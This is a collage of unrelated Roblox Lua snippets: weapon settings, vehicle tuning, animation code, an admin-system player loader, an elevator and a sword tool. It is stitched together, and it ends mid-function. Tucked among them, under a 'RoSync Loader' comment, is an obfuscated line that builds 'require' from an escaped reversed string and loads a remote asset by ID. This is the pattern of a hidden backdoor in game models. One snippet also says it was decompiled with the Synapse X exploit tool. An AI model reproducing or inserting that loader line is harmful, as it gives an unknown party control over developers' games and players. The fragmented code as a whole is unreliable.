Ammo = 17; StoredAmmo = 20; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 3;
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function findExistingAnimationInSet(set, anim) if set == nil or anim == nil then return 0 end for idx = 1, set.count, 1 do if set[idx].anim.AnimationId == anim.AnimationId then return idx end end return 0 end function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, Connection in pairs(animTable[name].Connections) do Connection:Disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].Connections = {} local allowCustomAnimations = true local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end) if not success then allowCustomAnimations = true end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].Connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].Connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 0 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then local newWeight = 1 local weightObject = childPart:FindFirstChild("Weight") if (weightObject ~= nil) then newWeight = weightObject.Value end animTable[name].count = animTable[name].count + 1 idx = animTable[name].count animTable[name][idx] = {} animTable[name][idx].anim = childPart animTable[name][idx].weight = newWeight animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight table.insert(animTable[name].Connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].Connections, childPart.ChildAdded:Connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].Connections, childPart.ChildRemoved:Connect(function(property) configureAnimationSet(name, fileList) end)) end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight end end -- preload anims for i, animType in pairs(animTable) do for idx = 1, animType.count, 1 do if PreloadedAnims[animType[idx].anim.AnimationId] == nil then Humanoid:LoadAnimation(animType[idx].anim) PreloadedAnims[animType[idx].anim.AnimationId] = true end end end end
------------------------------------------------------------------------
do local enabled = false local function ToggleFreecam() if enabled then StopFreecam() else StartFreecam() end enabled = not enabled end local function CheckMacro(macro) for i = 1, #macro - 1 do if not UserInputService:IsKeyDown(macro[i]) then return end end ToggleFreecam() end local function HandleActivationInput(action, state, input) if state == Enum.UserInputState.Begin then if input.KeyCode == FREECAM_MACRO_KB[#FREECAM_MACRO_KB] then CheckMacro(FREECAM_MACRO_KB) end if input.KeyCode == Enum.KeyCode.F then ToggleFreecam() end end return Enum.ContextActionResult.Pass end ContextActionService:BindActionAtPriority("FreecamToggle", HandleActivationInput, false, TOGGLE_INPUT_PRIORITY, FREECAM_MACRO_KB[#FREECAM_MACRO_KB]) ContextActionService:BindActionAtPriority("FreecamToggle2", HandleActivationInput, false, TOGGLE_INPUT_PRIORITY, Enum.KeyCode.F) RF.OnClientInvoke = function(a, b, c) if a == "Disable" and enabled then enabled = false StopFreecam() end if a == "Enable" and not enabled then enabled = true StartFreecam() end if a == "Toggle" then ToggleFreecam() end if a == "End" or a == "Stop" then RF.OnClientInvoke = nil Debris:AddItem(RF, 0.5) StopFreecam() end end ToggleFreecam() -- Runs the freecam automatically end
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
local prev local parts = script.Parent:GetChildren() for i = 1,#parts do if ((parts[i].className == "Part") or (parts[i].className == "Handle") or (parts[i].className == "TrussPart") or (parts[i].className == "VehicleSeat") or (parts[i].className == "SkateboardPlatform")) then if (prev ~= nil) then local weld = Instance.new("Weld") weld.Part0 = prev weld.Part1 = parts[i] weld.C0 = prev.CFrame:inverse(Engine) weld.C1 = parts[i].CFrame:inverse(Part) weld.Parent = prev parts[i].Anchored = false end prev = parts[i] end end local bp = Instance.new("BodyPosition") bp.Parent = script.Parent.middle bp.maxForce = Vector3.new(force,math.huge,force) bp.position = script.Parent.middle.Position wait() script.Parent.Hinges.Parta.Transparency = 1 script.Parent.Hinges.Partb.Transparency = 1 local people = script.Parent:GetChildren() for i = 1,#people do if people[i].className == "Part" then people[i].TopSurface = "SmoothNoOutlines" people[i].BottomSurface = "SmoothNoOutlines" people[i].LeftSurface = "SmoothNoOutlines" people[i].RightSurface = "SmoothNoOutlines" people[i].FrontSurface = "SmoothNoOutlines" people[i].BackSurface = "SmoothNoOutlines" people[i].Anchored = false end end
--don't touch below, very delicate
car = script.Parent.Parent Base = car:FindFirstChild("Base") Left = car:FindFirstChild("Left") Right = car:FindFirstChild("Right") for _,h in pairs (car:GetChildren()) do if h:IsA("Motor") then--make sure we start with a blank slate h:Destroy() end end if Base then if Left then leftMotor = Instance.new("Motor6D", car) leftMotor.Name = "LeftMotor" leftMotor.Part0 = Left leftMotor.Part1 = Base leftMotor.C0 = CFrame.new(-WheelSize/2-Left.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,-math.pi/2) leftMotor.C1 = CFrame.new(Base.Size.x/2+Left.Size.x+WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) leftMotor.MaxVelocity = motorSpeed end if Right then rightMotor = Instance.new("Motor6D", car) rightMotor.Name = "RightMotor" rightMotor.Part0 = Right rightMotor.Part1 = Base rightMotor.C0 = CFrame.new(-WheelSize/2-Right.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) rightMotor.C1 = CFrame.new(-Base.Size.x/2-Right.Size.x-WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) rightMotor.MaxVelocity = motorSpeed end end
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 2 end
---------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------- --//Server Animations ------//Idle Position
self.SV_GunPos = CFrame.new(-.3, -.2, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) self.SV_RightArmPos = CFrame.new(-.9, 1.25, -0.35) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0)) --Server self.SV_LeftArmPos = CFrame.new(1,1,-1) * CFrame.Angles(math.rad(-80),math.rad(30),math.rad(-10)) --server self.SV_RightElbowPos = CFrame.new(0,-0.45,-.25) * CFrame.Angles(math.rad(-80), math.rad(0), math.rad(0)) --Client self.SV_LeftElbowPos = CFrame.new(0,0, -0.1) * CFrame.Angles(math.rad(-15),math.rad(0),math.rad(0)) --Client self.SV_RightWristPos = CFrame.new(0,0,0.15) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)) --Client self.SV_LeftWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(-15),math.rad(0))
-- assume we are in the character, let's check
function sepuku() script.Parent = nil end local debris = game:GetService("Debris") local h = script.Parent:FindFirstChild("Humanoid") if (h == nil) then sepuku() end local torso = script.Parent:FindFirstChild("Torso") if (torso == nil) then sepuku() end local head = script.Parent:FindFirstChild("Head") if (head == nil) then head = torso end local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = .75 -- things float at > 1 local fire = Instance.new("Fire") fire.Parent = head fire.Heat = 10 fire.Size = 3 function recursiveGetLift(node) local m = 0 local c = node:GetChildren() if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off for i=1,#c do if c[i].className == "Part" then if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end end m = m + recursiveGetLift(c[i]) end return m end function jumpIt() local mass = recursiveGetLift(h.Parent) local force = Instance.new("BodyForce") force.force = Vector3.new(0,mass * 0.8,0) force.Parent = torso debris:AddItem(force,0.5) end local con = h.Jumping:connect(jumpIt) local oldSpeed = h.WalkSpeed h.WalkSpeed = h.WalkSpeed * 0.8 local oldMaxHealth = h.MaxHealth h.MaxHealth = oldMaxHealth * 1.5 h.Health = h.MaxHealth local bodySpin = Instance.new("BodyAngularVelocity") bodySpin.P = 200000 bodySpin.angularvelocity = Vector3.new(0,2,0) bodySpin.maxTorque = Vector3.new(bodySpin.P,bodySpin.P,bodySpin.P) bodySpin.Parent = torso wait(30) fire:remove() h.WalkSpeed = oldSpeed h.MaxHealth = oldMaxHealth if h.Health > 60 then h.Health = 60 end con:disconnect() bodySpin:remove() sepuku()
--[[ Novena Constraint Type: Motorcycle The Bike Chassis, Beta Version Avxnturador | Novena HAYASHl | Enjin Please read the README for updates. --]]
local Tune = {}
--// F key, Horn
mouse.KeyDown:connect(function(key) if key=="h" then script.Parent.Parent.Horn.TextTransparency = 0 veh.Lightbar.middle.Airhorn:Play() veh.Lightbar.middle.Wail.Volume = 2 veh.Lightbar.middle.Yelp.Volume = 2 veh.Lightbar.middle.Priority.Volume = 2 script.Parent.Parent.MBOV.Visible = true script.Parent.Parent.MBOV.Text = "Made by OfficerVargas" end end)
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 5000 -- Spring Force Tune.FSusLength = 3.6 -- Suspension length (in studs) Tune.FSusMaxExt = .5 -- Max Extension Travel (in studs) Tune.FSusMaxComp = 1.2 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 5000 -- Spring Force Tune.RSusLength = 3.5 -- Suspension length (in studs) Tune.RSusMaxExt = .5 -- Max Extension Travel (in studs) Tune.RSusMaxComp = 1.2 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween AimZoom = 55; -- Default zoom AimSpeed = 0.23; UnaimSpeed = 0.23; CycleAimZoom = 40; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
-- Touch anything below and you'll upset the script, and that's not a good thing.
local url = "" local httpService = game:GetService'HttpService' local module = {} game:WaitForChild'NetworkServer' function decodeJson(json) local jsonTab = {} pcall(function () jsonTab = httpService:JSONDecode(json) end) return jsonTab end function encodeJson(data) local jsonString = data pcall(function () jsonString = httpService:JSONEncode(data) end) return jsonString end function doGet(sheet, key) local json = httpService:GetAsync(url .. "?sheet=" .. sheet .. "&key=" .. key) local data = decodeJson(json) if data.result == "success" then return data.value else -- warn("Database error:", data.error) return end end function doPost(sheet, key, data) local json = httpService:UrlEncode(encodeJson(data)) local retJson = httpService:PostAsync(url, "sheet=" .. sheet .. "&key=" .. key .. "&value=" .. json, 2) local data = decodeJson(retJson) print(retJson) if data.result == "success" then return true else warn("Database error:", data.error) return false end end function module:GetDatabase(sheet) local database = {} function database:PostAsync(key, value) return doPost(sheet, key, value) end function database:GetAsync(key) return doGet(sheet, key) end return database end return module
--[[ Last synced 7/19/2021 06:23 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--// Ammo Settings
Ammo = 30; StoredAmmo = 30; MagCount = 6; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 3;
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; gTable = nil; return function(p1) local l__PlayerGui__1 = service.PlayerGui; local l__LocalPlayer__2 = service.Players.LocalPlayer; local l__Main__3 = client.UI.Prepare(script.Parent.Parent).Main; local l__Title__4 = l__Main__3.Title; local l__Message__5 = l__Main__3.Message; local l__Color__6 = p1.Color; l__Message__5.Text = p1.Message; l__Message__5.Font = "Arial"; gTable.Ready(); wait(5); gTable.Destroy(); end;
-- @Context Client -- Send a request to the server for a projectile to be created. -- @param WeaponDefinition weaponDefinition -- @param Vector3 position -- @param Vector3 direction
function ProjectileReplication.SendThrowable(weaponDefinition, position, direction) RE_CreateThrowable:FireServer(weaponDefinition:GetIDName(), position, direction) end return ProjectileReplication
--// Damage Settings
BaseDamage = 1; -- Torso Damage LimbDamage = 1; -- Arms and Legs ArmorDamage = 1; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 2; -- If you set this to 100, there's a chance the player won't die because of the heal script
-- << LOCAL FUNCTIONS >>
local function playerAdded(player) -- Character Added player.CharacterAdded:Connect(function(character) --Check if any commands need re-activating local humanoid = character:WaitForChild("Humanoid") local pdata = main.pd[player] if pdata then for commandName,_ in pairs(pdata.CommandsActive) do local speaker = player local args = {player} local command = main.commands[string.lower(commandName)] main:GetModule("cf"):ExecuteCommand(speaker, args, command, {ExtraDetails = {DontForceActivate = true}}) --main:GetModule("Extensions"):SetupCommand(player, commandName, true) end for itemName, _ in pairs(pdata.Items) do main:GetModule("Extensions"):SetupItem(player, itemName, true) end end --Other wait(1) if settingUpPlayer[player] then repeat wait(0.1) until not settingUpPlayer[player] end end) --Check if loader banned local userId = player.UserId if main.banned[tostring(userId)] then player:Kick("\n\nYou're permanently banned from this game.\n\n") end -- Setup PlayerData settingUpPlayer[player] = true local pdata = main:GetModule("PlayerData"):SetupPlayerData(player) settingUpPlayer[player] = nil --Player Chatted if not main.players:GetPlayerByUserId(userId) then return end player.Chatted:Connect(function(message) main.signals.PlayerChatted:Fire(player, message) main:GetModule("Parser"):ParseMessage(player, message, true) end) --Setup Friends local friends = main:GetModule("cf"):GetFriends(userId) if not main.pd[player] then return end main.pd[player].Friends = friends -- Check if default settings have changed if not main.players:GetPlayerByUserId(userId) then return end for settingName, settingValue in pairs(pdata.DefaultSettings) do local defaultSettingValue = main.settings[settingName] --print(settingName.." : "..tostring(defaultSettingValue).." : ".. tostring(settingValue)) if defaultSettingValue ~= settingValue then main.pd[player].DefaultSettings[settingName] = defaultSettingValue main:GetModule("PlayerData"):ChangeStat(player, settingName, defaultSettingValue) end end -- main:GetModule("PlayerData"):ChangeStat(player, "SetupData", true) -- -- << SETUP RANKS >> --Owner if userId == main.ownerId or main:GetModule("cf"):FindValue(main.owner, userId) then main:GetModule("cf"):RankPlayerSimple(player, 5, true) if main.oldLoader then main.signals.ShowWarning:FireClient(player, "OldLoader") end end --Check if player has admin in this server local serverRank = main.serverAdmins[player.Name] if serverRank then main:GetModule("cf"):RankPlayerSimple(player, serverRank) end --Specific User local specificUserRank = main.permissions.specificUsers[player.Name] if specificUserRank then main:GetModule("cf"):RankPlayerSimple(player, specificUserRank, true) end --Gamepasses for gamepassId, gamepassInfo in pairs(main.permissions.gamepasses) do local hasGamepass = false if main:GetModule("cf"):FindValue(pdata.Gamepasses, gamepassId) then hasGamepass = true elseif main.marketplaceService:UserOwnsGamePassAsync(userId, gamepassId) then hasGamepass = true main:GetModule("PlayerData"):InsertStat(player, "Gamepasses", gamepassId) main:GetModule("cf"):CheckAndRankToDonor(player, pdata, gamepassId) end if hasGamepass then main:GetModule("cf"):RankPlayerSimple(player, gamepassInfo.Rank, true) end end --Assets if not main.players:GetPlayerByUserId(userId) then return end for assetId, assetInfo in pairs(main.permissions.assets) do local hasAsset = false if main:GetModule("cf"):FindValue(pdata.Assets, assetId) then hasAsset = true elseif main.marketplaceService:PlayerOwnsAsset(player, assetId) then hasAsset = true main:GetModule("PlayerData"):InsertStat(player, "Assets", assetId) end if hasAsset then main:GetModule("cf"):RankPlayerSimple(player, assetInfo.Rank, true) end end --Groups if not main.players:GetPlayerByUserId(userId) then return end for groupId, groupInfo in pairs(main.permissions.groups) do local roleName = player:GetRoleInGroup(groupId) if groupInfo.Roles[roleName] then main:GetModule("cf"):RankPlayerSimple(player, groupInfo.Roles[roleName].Rank, true) end end --Friends if not main.players:GetPlayerByUserId(userId) then return end for plrName, plrId in pairs(friends) do if plrId == main.ownerId then main:GetModule("cf"):RankPlayerSimple(player, main.permissions.friends, true) end end --VIPServers local vipServerOwnerId = game.VIPServerOwnerId if vipServerOwnerId ~= 0 then if userId == vipServerOwnerId then main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerOwner, true) else main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerPlayer, true) end end --Free admin local freeAdminRank = main.permissions.freeAdmin if tonumber(freeAdminRank) and freeAdminRank > 0 then main:GetModule("cf"):RankPlayerSimple(player, freeAdminRank, true) end -- << CHECK FOR SERVER LOCK >> if pdata.Rank < main.ranksAllowedToJoin then player:Kick("The server has been locked for ranks below '".. main:GetModule("cf"):GetRankName(main.ranksAllowedToJoin).."'") for i, plr in pairs(main.players:GetChildren()) do main.signals.Hint:FireClient(plr, {"Standard", "Server Lock: "..player.Name.." attempted to join! Rank = '"..main:GetModule("cf"):GetRankName(pdata.Rank).."'", Color3.fromRGB(255,255,255)}) end end -- << CHECK IF BANNED >> --local success, record = false, main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)] local success, record = pcall(function() return main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)] end) if not record then success, record = pcall(function() return main.sd.Banland.Records[main:GetModule("cf"):FindUserIdInRecord(main.sd.Banland.Records, userId)] end) end if success and record then main:GetModule("cf"):BanPlayer(player.UserId, record) end -- << CHECK PERM RANK AND RANK EXISTS >> if pdata.SaveRank and main:GetModule("cf"):GetRankName(pdata.Rank) == "" then main:GetModule("cf"):Unrank(player) end -- << START COLOUR >> wait(2) if not main.players:GetPlayerByUserId(userId) then return end --Setup start chat colour local plrChatColor for chatRankId, chatColor3 in pairs(main.settings.ChatColors) do if pdata.Rank == chatRankId then plrChatColor = chatColor3 break end end if plrChatColor then local speaker = main.chatService and main.chatService:GetSpeaker(player.Name) if not speaker and main.chatService then local maxRetries = 10 for i = 1,maxRetries do wait(0.5) if not main.players:GetPlayerByUserId(userId) then return end speaker = main.chatService:GetSpeaker(player.Name) if speaker then break end end end if speaker then speaker:SetExtraData("ChatColor", plrChatColor) end end -- << NOTICES >> wait(1) if not main.players:GetPlayerByUserId(userId) then return end if pdata.Rank > 0 and main.settings.WelcomeRankNotice ~= false then local rankName = main:GetModule("cf"):GetRankName(pdata.Rank) main:GetModule("cf"):FormatAndFireNotice(player, "WelcomeRank", rankName) end if pdata.Donor and main.settings.WelcomeDonorNotice ~= false then main:GetModule("cf"):DonorNotice(player, pdata) end --main.signals.FadeInIcon:FireClient(player) end
--[[Engine]]
--Torque Curve Tune.Horsepower = 235 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--Hide Accessory
script.Parent.ChildAdded:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) for i,v in pairs(child.Part1.Parent:GetChildren())do if v:IsA("Accessory") then v.Handle.Transparency=1 end end end end end)
-------------------------
function onClicked() script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 0 script.Parent.Parent.Call.ClickDetector.MaxActivationDistance = 0 script.Parent.Click:Play() script.Parent.BrickColor = BrickColor.new("Really red") script.Parent.ClickDetector.MaxActivationDistance = 0 script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 0 wait(2) script.Parent.Parent.DoorOutside.CanCollide = true script.Parent.Parent.DoorOutside.Transparency = 0 script.Parent.Parent.DoorInside.Transparency = 0 script.Parent.Parent.DoorInside.CanCollide = true script.Parent.Parent.DoorInside.Close:Play() wait(3) script.Parent.Parent.Screen.SurfaceGui.Frame.Up.Visible = true Car.Start:Play() Car.Run:Play() LiftUp:Play() wait(12) script.Parent.Parent.Screen.SurfaceGui.Frame.TextLabel.Text = "GROUND FLOOR" script.Parent.Parent.Screen.SurfaceGui.Frame.Up.Visible = false Car.Start:Stop() Car.Run:Stop() Car.Stop:Play() wait(2) door.Transparency = 1 door.CanCollide = false script.Parent.Parent.DoorOutside2.CanCollide = false script.Parent.Parent.DoorOutside2.Transparency = 1 Car.Ding:Play() wait(5) script.Parent.Parent.Call.ClickDetector.MaxActivationDistance = 12 script.Parent.BrickColor = BrickColor.new("Lime green") script.Parent.Parent.Down.BrickColor = BrickColor.new("Really red") script.Parent.Parent.Down.ClickDetector.MaxActivationDistance = 12 end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- << VARIABLES >>
local notices = main.gui.Notices local template = notices.Template local XOffset = 0 local noticeDe = true local noticeQueue = {} local currentNotices = {} local inverted = false local maxNotices = 4 local maxTime = 7 local waitTime = 0.5 local tweenInfoUp = TweenInfo.new(waitTime,Enum.EasingStyle.Back, Enum.EasingDirection.Out) local tweenInfoDown = TweenInfo.new(waitTime*1.25,Enum.EasingStyle.Back, Enum.EasingDirection.Out) local tweenInfoEnd = TweenInfo.new(waitTime*1.25,Enum.EasingStyle.Back, Enum.EasingDirection.In)
--
frame.controls_page.kick.MouseEnter:Connect(function() if (hovering and down) then properties.hovering.Value = "kick" tween_service:Create(control_page.kick, info_quick, {BackgroundTransparency = .9}):Play() tween_service:Create(control_page.kick.scale, info_quick, {Scale = 1.2}):Play() tween_service:Create(control_page.kick.stroke, info_quick, {Thickness = 2}):Play() exe_module:notify("Kick", .5, "blue") end end) frame.controls_page.kick.MouseLeave:Connect(function() properties.hovering.Value = "" tween_service:Create(control_page.kick, info_quick, {BackgroundTransparency = 1}):Play() tween_service:Create(control_page.kick.scale, info_quick, {Scale = 1}):Play() tween_service:Create(control_page.kick.stroke, info_quick, {Thickness = 0}):Play() end)
--- Replaces arguments in the format $1, $2, $something with whatever the -- given function returns for it.
function Util.SubstituteArgs(str, replace) str = encodeCommandEscape(str) -- Convert numerical keys to strings if type(replace) == "table" then for i = 1, #replace do local k = tostring(i) replace[k] = replace[i] if replace[k]:find("%s") then replace[k] = string.format("%q", replace[k]) end end end return decodeCommandEscape(str:gsub("$(%w+)", replace)) end
--[=[ Whenever the attribute is true, the binder will be bound, and when the binder is bound, the attribute will be true. @param instance Instance @param attributeName string @param binder Binder<T> @return Maid ]=]
function AttributeUtils.bindToBinder(instance, attributeName, binder) assert(binder, "Bad binder") assert(typeof(instance) == "Instance", "Bad instance") assert(type(attributeName) == "string", "Bad attributeName") local maid = Maid.new() local function syncAttribute() if instance:GetAttribute(attributeName) then if RunService:IsClient() then binder:BindClient(instance) else binder:Bind(instance) end else if RunService:IsClient() then binder:UnbindClient(instance) else binder:Unbind(instance) end end end maid:GiveTask(instance:GetAttributeChangedSignal(attributeName):Connect(syncAttribute)) local function syncBoundClass() if binder:Get(instance) then instance:SetAttribute(attributeName, true) else instance:SetAttribute(attributeName, false) end end maid:GiveTask(binder:ObserveInstance(instance, syncBoundClass)) if binder:Get(instance) or instance:GetAttribute(attributeName) then instance:SetAttribute(attributeName, true) if RunService:IsClient() then binder:BindClient(instance) else binder:Bind(instance) end else instance:SetAttribute(attributeName, false) -- no need to bind end -- Depopuplate the attribute on exit maid:GiveTask(function() -- Force all cleaning first maid:DoCleaning() -- Cleanup instance:SetAttribute(attributeName, nil) end) return maid end
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 10 local lunge_damage = 30 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) if (hit.Parent == nil) then return end -- happens when bullet hits sword local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool local force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.HumanoidRootPart wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--Public developer facing functions
function ClickToMove:SetShowPath(value) ShowPath = value end function ClickToMove:GetShowPath() return ShowPath end function ClickToMove:SetWaypointTexture(texture) ClickToMoveDisplay.SetWaypointTexture(texture) end function ClickToMove:GetWaypointTexture() return ClickToMoveDisplay.GetWaypointTexture() end function ClickToMove:SetWaypointRadius(radius) ClickToMoveDisplay.SetWaypointRadius(radius) end function ClickToMove:GetWaypointRadius() return ClickToMoveDisplay.GetWaypointRadius() end function ClickToMove:SetEndWaypointTexture(texture) ClickToMoveDisplay.SetEndWaypointTexture(texture) end function ClickToMove:GetEndWaypointTexture() return ClickToMoveDisplay.GetEndWaypointTexture() end function ClickToMove:SetWaypointsAlwaysOnTop(alwaysOnTop) ClickToMoveDisplay.SetWaypointsAlwaysOnTop(alwaysOnTop) end function ClickToMove:GetWaypointsAlwaysOnTop() return ClickToMoveDisplay.GetWaypointsAlwaysOnTop() end function ClickToMove:SetFailureAnimationEnabled(enabled) PlayFailureAnimation = enabled end function ClickToMove:GetFailureAnimationEnabled() return PlayFailureAnimation end function ClickToMove:SetIgnoredPartsTag(tag) UpdateIgnoreTag(tag) end function ClickToMove:GetIgnoredPartsTag() return CurrentIgnoreTag end function ClickToMove:SetUseDirectPath(directPath) UseDirectPath = directPath end function ClickToMove:GetUseDirectPath() return UseDirectPath end function ClickToMove:SetAgentSizeIncreaseFactor(increaseFactorPercent) AgentSizeIncreaseFactor = 1.0 + (increaseFactorPercent / 100.0) end function ClickToMove:GetAgentSizeIncreaseFactor() 